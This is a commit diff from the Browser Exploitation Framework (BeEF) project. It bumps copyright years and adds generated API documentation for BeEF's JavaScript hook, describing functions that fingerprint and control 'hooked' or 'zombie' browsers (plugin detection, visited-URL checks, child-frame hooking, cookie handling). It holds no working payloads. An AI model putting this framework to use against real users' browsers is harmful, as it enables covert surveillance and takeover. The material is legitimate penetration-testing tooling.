a/core/main/server.rb +++ b/core/main/server.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/module.rb b/core/module.rb index 5ad904a0b..b25362c83 100644 --- a/core/module.rb +++ b/core/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/modules.rb b/core/modules.rb index b94715ae3..19b7b428a 100644 --- a/core/modules.rb +++ b/core/modules.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/ruby.rb b/core/ruby.rb index 2ea23600d..05cd35aa0 100644 --- a/core/ruby.rb +++ b/core/ruby.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/ruby/hash.rb b/core/ruby/hash.rb index f6894ed81..dd18a51eb 100644 --- a/core/ruby/hash.rb +++ b/core/ruby/hash.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/ruby/module.rb b/core/ruby/module.rb index 28d191ecc..ed67aa3aa 100644 --- a/core/ruby/module.rb +++ b/core/ruby/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/ruby/object.rb b/core/ruby/object.rb index 21c027cdd..95fa048d2 100644 --- a/core/ruby/object.rb +++ b/core/ruby/object.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/ruby/print.rb b/core/ruby/print.rb index 428171768..fea3ac69a 100644 --- a/core/ruby/print.rb +++ b/core/ruby/print.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/ruby/security.rb b/core/ruby/security.rb index db4e65977..c915b857c 100644 --- a/core/ruby/security.rb +++ b/core/ruby/security.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/ruby/string.rb b/core/ruby/string.rb index fb1e6d52e..a20a95147 100644 --- a/core/ruby/string.rb +++ b/core/ruby/string.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/settings.rb b/core/settings.rb index 3db52e5f1..c1a0d60c0 100644 --- a/core/settings.rb +++ b/core/settings.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/doc/COPYING b/doc/COPYING index 0c118de02..87c82b72b 100644 --- a/doc/COPYING +++ b/doc/COPYING @@ -2,7 +2,7 @@ COPYING -- Describes the terms under which the Browser Exploitation Framework (BeEF) is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -BeEF (Browser Exploitation Framework) is (C) 2006-2019 Wade Alcorn. +BeEF (Browser Exploitation Framework) is (C) 2006-2020 Wade Alcorn. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/doc/boilerplate b/doc/boilerplate index 3bf817cfc..adf1e97f2 100644 --- a/doc/boilerplate +++ b/doc/boilerplate @@ -1,3 +1,3 @@ -Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission \ No newline at end of file diff --git a/docs/BeefJS.html b/docs/BeefJS.html new file mode 100644 index 000000000..03ec1cf01 --- /dev/null +++ b/docs/BeefJS.html @@ -0,0 +1,567 @@ + + + + + JSDoc: Namespace: BeefJS + + + + + + + + + + +
+ +

Namespace: BeefJS

+ + + + + + +
+ +
+ +

BeefJS

+ + +
+ +
+
+ + +

Register the BeEF JS on the window object.

+ + + + + +
Properties:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
version + + +string + + + +

BeEf Version

pageIsLoaded + + +boolean + + + +

This gets set to true during window.onload(). It's a useful hack when messing with document.write().

onpopstate + + +array + + + +

An array containing functions to be executed by the window.onpopstate() method.

onclose + + +array + + + +

An array containing functions to be executed by the window.onclose() method.

commands + + +array + + + +

An array containing functions to be executed by Beef.

components + + +array + + + +

An array containing all the BeEF JS components.

+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) debug()

+ + + + + + +
+

Adds a function to display debug messages (wraps console.log())

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) execute()

+ + + + + + +
+

Adds a function to execute.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) regCmp()

+ + + + + + +
+

Registers a component in BeEF JS.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/are.js.html b/docs/are.js.html new file mode 100644 index 000000000..10b83d4e1 --- /dev/null +++ b/docs/are.js.html @@ -0,0 +1,92 @@ + + + + + JSDoc: Source: are.js + + + + + + + + + + +
+ +

Source: are.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/** 
+ * A series of functions that handle statuses, returns a number based on the function called.
+ * @namespace beef.are
+ */
+
+beef.are = {
+  /**
+   * A function for handling a success status
+   * @memberof beef.are
+   * @method status_success 
+   * @return {number} 1
+   */
+  status_success: function(){
+    return 1;
+  },
+  /**
+   * A function for handling an unknown status
+   * @memberof beef.are
+   * @method status_unknown 
+   * @return {number} 0
+   */  
+  status_unknown: function(){
+    return 0;
+  },
+  /**
+   * A function for handling an error status
+   * @memberof beef.are
+   * @method status_error 
+   * @return {number} -1
+   */  
+  status_error: function(){
+    return -1;
+  }
+};
+beef.regCmp("beef.are");
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/beef.are.html b/docs/beef.are.html new file mode 100644 index 000000000..531a5eef0 --- /dev/null +++ b/docs/beef.are.html @@ -0,0 +1,466 @@ + + + + + JSDoc: Namespace: are + + + + + + + + + + +
+ +

Namespace: are

+ + + + + + +
+ +
+ +

are

+ + +
+ +
+
+ + +

A series of functions that handle statuses, returns a number based on the function called.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) status_error() → {number}

+ + + + + + +
+

A function for handling an error status

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

-1

+
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + + + + + +

(static) status_success() → {number}

+ + + + + + +
+

A function for handling a success status

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

1

+
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + + + + + +

(static) status_unknown() → {number}

+ + + + + + +
+

A function for handling an unknown status

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

0

+
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.browser.cookie.html b/docs/beef.browser.cookie.html new file mode 100644 index 000000000..1644824c9 --- /dev/null +++ b/docs/beef.browser.cookie.html @@ -0,0 +1,643 @@ + + + + + JSDoc: Namespace: cookie + + + + + + + + + + +
+ +

Namespace: cookie

+ + + + + + +
+ +
+ +

+ .browser.cookie

+ + +
+ +
+
+ + +

Provides fuctions for working with cookies. +Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php +Original author unknown.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) deleteCookie()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getCookie()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasPersistentCookies()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasSessionCookies()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) setCookie()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) veganLol()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.browser.html b/docs/beef.browser.html new file mode 100644 index 000000000..5abac22fd --- /dev/null +++ b/docs/beef.browser.html @@ -0,0 +1,30093 @@ + + + + + JSDoc: Namespace: browser + + + + + + + + + + +
+ +

Namespace: browser

+ + + + + + +
+ +
+ +

browser

+ + +
+ +
+
+ + +

Basic browser functions.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + +

Namespaces

+ +
+
cookie
+
+ +
popup
+
+
+ + + + + +

Methods

+ + + + + + + +

(static) changeFavicon()

+ + + + + + +
+

Dynamically changes the favicon: works in Firefox, Chrome and Opera

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) changePageTitle()

+ + + + + + +
+

Changes page title

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserEngine()

+ + + + + + +
+

Returns the underlying layout engine in use by the browser.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserLanguage()

+ + + + + + +
+

Get the browser language

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserName()

+ + + + + + +
+

Returns the type of user agent by hooked browser.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserReportedName()

+ + + + + + +
+

Returns the user agent that the browser is claiming to be.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserVersion()

+ + + + + + +
+

Returns the major version of the browser being used.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getDetails()

+ + + + + + +
+

Construct hash from browser details. This function is used to grab the browser details during the hooking process

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getMaxConnections() → {Object}

+ + + + + + +
+

A function that gets the max number of simultaneous connections the +browser can make per origin, or globally on all origin.

+

This code is based on research from browserspy.dk

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

A jQuery deferred object promise, which when resolved passes +the number of connections to the callback function as "this"

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) getPageBody()

+ + + + + + +
+

Returns the page body HTML

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getPageHead()

+ + + + + + +
+

Returns the page head HTML

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getPlugins()

+ + + + + + +
+

Returns the list of plugins installed in the browser.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getPluginsIE()

+ + + + + + +
+

Returns a list of plugins detected by IE. This is a hack because IE doesn't +support navigator.plugins

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getWindowSize()

+ + + + + + +
+

Returns zombie browser window size.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasActiveX()

+ + + + + + +
+

Returns boolean value depending on whether the browser supports ActiveX

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasCors()

+ + + + + + +
+

Checks if the browser supports CORS

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasFlash()

+ + + + + + +
+

Checks if the zombie has flash installed and enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasFoxit()

+ + + + + + +
+

Checks if the zombie has Foxit PDF reader plugin.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasGoogleGears()

+ + + + + + +
+

Checks if the zombie has Google Gears installed.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasJava()

+ + + + + + +
+

Checks if the zombie has Java installed and enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasPhonegap()

+ + + + + + +
+

Checks if the Phonegap API is available from the hooked origin.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasQuickTime()

+ + + + + + +
+

Checks if the zombie has the QuickTime plugin installed.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasRealPlayer()

+ + + + + + +
+

Checks if the zombie has the RealPlayer plugin installed.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasSilverlight()

+ + + + + + +
+

Returns boolean value depending on whether the browser supports Silverlight

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasVBScript()

+ + + + + + +
+

Checks if the zombie has VBScript enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasVisited()

+ + + + + + +
+

Returns array of results, whether or not the target zombie has visited the specified URL

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasVLC()

+ + + + + + +
+

Checks if VLC is installed

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWebGL()

+ + + + + + +
+

Checks if the zombie has WebGL enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWebRTC()

+ + + + + + +
+

Returns boolean value depending on whether the browser supports WebRTC

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWebSocket()

+ + + + + + +
+

Checks if the zombie has Web Sockets enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWebWorker()

+ + + + + + +
+

Checks if the zombie has Web Workers enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWMP()

+ + + + + + +
+

Checks if the zombie has the Windows Media Player plugin installed.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hookChildFrames()

+ + + + + + +
+

Hooks all child frames in the current window +Restricted by same-origin policy

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isA()

+ + + + + + +
+

Returns true if Avant Browser.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isBrave()

+ + + + + + +
+

Returns true if Brave

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC()

+ + + + + + +
+

Returns true if Chrome.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC5()

+ + + + + + +
+

Returns true if Chrome 5.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC6()

+ + + + + + +
+

Returns true if Chrome 6.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC7()

+ + + + + + +
+

Returns true if Chrome 7.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC8()

+ + + + + + +
+

Returns true if Chrome 8.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC9()

+ + + + + + +
+

Returns true if Chrome 9.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC10()

+ + + + + + +
+

Returns true if Chrome 10.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC11()

+ + + + + + +
+

Returns true if Chrome 11.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC12()

+ + + + + + +
+

Returns true if Chrome 12.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC13()

+ + + + + + +
+

Returns true if Chrome 13.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC14()

+ + + + + + +
+

Returns true if Chrome 14.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC15()

+ + + + + + +
+

Returns true if Chrome 15.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC16()

+ + + + + + +
+

Returns true if Chrome 16.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC17()

+ + + + + + +
+

Returns true if Chrome 17.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC18()

+ + + + + + +
+

Returns true if Chrome 18.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC19()

+ + + + + + +
+

Returns true if Chrome 19.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC19iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 19.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC20()

+ + + + + + +
+

Returns true if Chrome 20.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC20iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 20.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC21()

+ + + + + + +
+

Returns true if Chrome 21.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC21iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 21.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC22()

+ + + + + + +
+

Returns true if Chrome 22.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC22iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 22.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC23()

+ + + + + + +
+

Returns true if Chrome 23.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC23iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 23.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC24()

+ + + + + + +
+

Returns true if Chrome 24.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC24iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 24.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC25()

+ + + + + + +
+

Returns true if Chrome 25.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC25iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 25.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
